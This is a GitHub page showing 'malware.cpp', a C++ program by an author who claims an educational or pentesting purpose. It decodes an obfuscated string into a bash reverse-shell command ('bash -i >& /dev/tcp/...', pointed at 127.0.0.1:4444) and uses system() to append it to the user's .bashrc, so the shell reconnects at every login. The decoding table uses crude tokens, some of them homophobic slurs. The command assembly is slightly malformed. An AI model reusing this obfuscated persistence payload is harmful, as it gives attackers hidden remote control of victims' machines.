-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmalware.cpp
116 lines (108 loc) · 3.74 KB
/
malware.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
/*
# Author: MikeTheHash
# Date: 14/10/2024
# DISCLAIMER: I take no responsibility for your actions,
# as I posted it on github for education purposes or certified and authorized penetration testing
*/
#include <iostream>
#include <cstdlib>
#include <unordered_map>
std::string decode(const std::string& encoded_text) {
std::unordered_map<std::string, char> decoding_map = {
{ ";EDDAI", 'a' },
{ ";FROCIO", 'b' },
{ ";skks", 'c' },
{ ";stocazzum", 'd' },
{ ";miau", 'e' },
{ ";gatto", 'f' },
{ ";shell", 'g' },
{ ";cazzarola", 'h' },
{ ";azzo", 'i' },
{ ";bau", 'j' },
{ ";MaNonLoSoHoFinitoLeParoleRandomicheDaMettere", 'k' },
{ ";gronc", 'l' },
{ ";releone", 'm' },
{ ";fuckmepls", 'n' },
{ ";milliseconds", 'o' },
{ ";mare", 'p' },
{ ";lago", 'q' },
{ ";straykids", 'r' },
{ ";alfabeto", 's' },
{ ";droga", 't' },
{ ";eldenring", 'u' },
{ ";hollowknight", 'v' },
{ ";hollow", 'w' },
{ ";yz", 'x' },
{ ";gattinibellissimi", 'y' },
{ ";sigmeyer", 'z' },
{ ";elikoper", 'A' },
{ ";JELIKOPETER", 'B' },
{ ";wlattrocca", 'C' },
{ ";wigattini", 'D' },
{ ";hex", 'E' },
{ ";GGH", 'F' },
{ ";Lll", 'G' },
{ ";miuwww", 'H' },
{ ";motard", 'I' },
{ ";patate", 'J' },
{ ";figosaLaCappa", 'K' },
{ ";nonsoaltreparolepercodificare", 'L' },
{ ";pippo", 'M' },
{ ";PippoBaudo", 'N' },
{ ";letteraStramba", 'O' },
{ ";pIsForPoppe", 'P' },
{ ";quaderno", 'Q' },
{ ";baubaubaumiao", 'R' },
{ ";StandsForStrunz", 'S' },
{ ";voglioungatto", 'T' },
{ ";wleCANNE", 'U' },
{ ";FR", 'V' },
{ ";ProtocolloTCP", 'W' },
{ ";mutande", 'X' },
{ ";hofinitoleparole", 'Y' },
{ ";eStatoUnPartoTirareCosiTanteParoleRandomiche", 'Z' },
{ "_", ' ' },
{ ";FUNZIONA", '=' },
{ ";DAJECAZZOVAI", '.' },
{ ";LeonardoEGAY", '[' },
{ ";TantoGay", ']' },
{ ";Gayone", ':' },
{ ";<>", ';' },
{ ";HeyHeyHeyHeyYourGay", '/' },
{ ";hihihiBroski", '-' },
{ ";HEEEEEEEEEEEEEEEEEEEEY", '&' },
{ ";FuckMeIdidntPutEverything", '>' },
{ ";IMSTUPID", '<' },
{ ";KkA", '1' },
{ ";aAa", '2' },
{ ";hhH", '3' },
{ ";meOWWWWWW", '4' },
{ ";AAAAAAAA", '5' },
{ ";SEX", '6' },
{ ";SIVENSTEVEN", '7' },
{ ";NumberOfStrayKids", '8' },
{ ";CazzumNine", '9' },
{ ";PaliNonPresiDaLeonardo", '0' }
};
std::string decoded_text;
std::string current_code;
for (size_t i = 0; i < encoded_text.length(); ++i) {
current_code += encoded_text[i];
if (decoding_map.find(current_code) != decoding_map.end()) {
decoded_text += decoding_map[current_code];
current_code.clear();
}
}
return decoded_text;
}
int main(int argc, char* argv[]) {
std::string ipaddr = "127.0.0.1";
int port = 4444;
std::string cmd = decode(";alfabeto;eldenring;stocazzum;milliseconds_;hihihiBroski;FROCIO_;FROCIO;EDDAI;alfabeto;cazzarola_;hihihiBroski;azzo_;FuckMeIdidntPutEverything;HEEEEEEEEEEEEEEEEEEEEY_;HeyHeyHeyHeyYourGay;stocazzum;miau;hollowknight;HeyHeyHeyHeyYourGay;droga;skks;mare")
+ decode(";HeyHeyHeyHeyYourGay")
+ ipaddr + "/" + std::to_string(port) + "0>&1";
std::string full_command = "echo \"" + cmd + "\" >> /home/$USER/.bashrc";
full_command += " " + ipaddr + "/" + std::to_string(port) + "0>&1";
system(full_command.c_str());
return 0;
}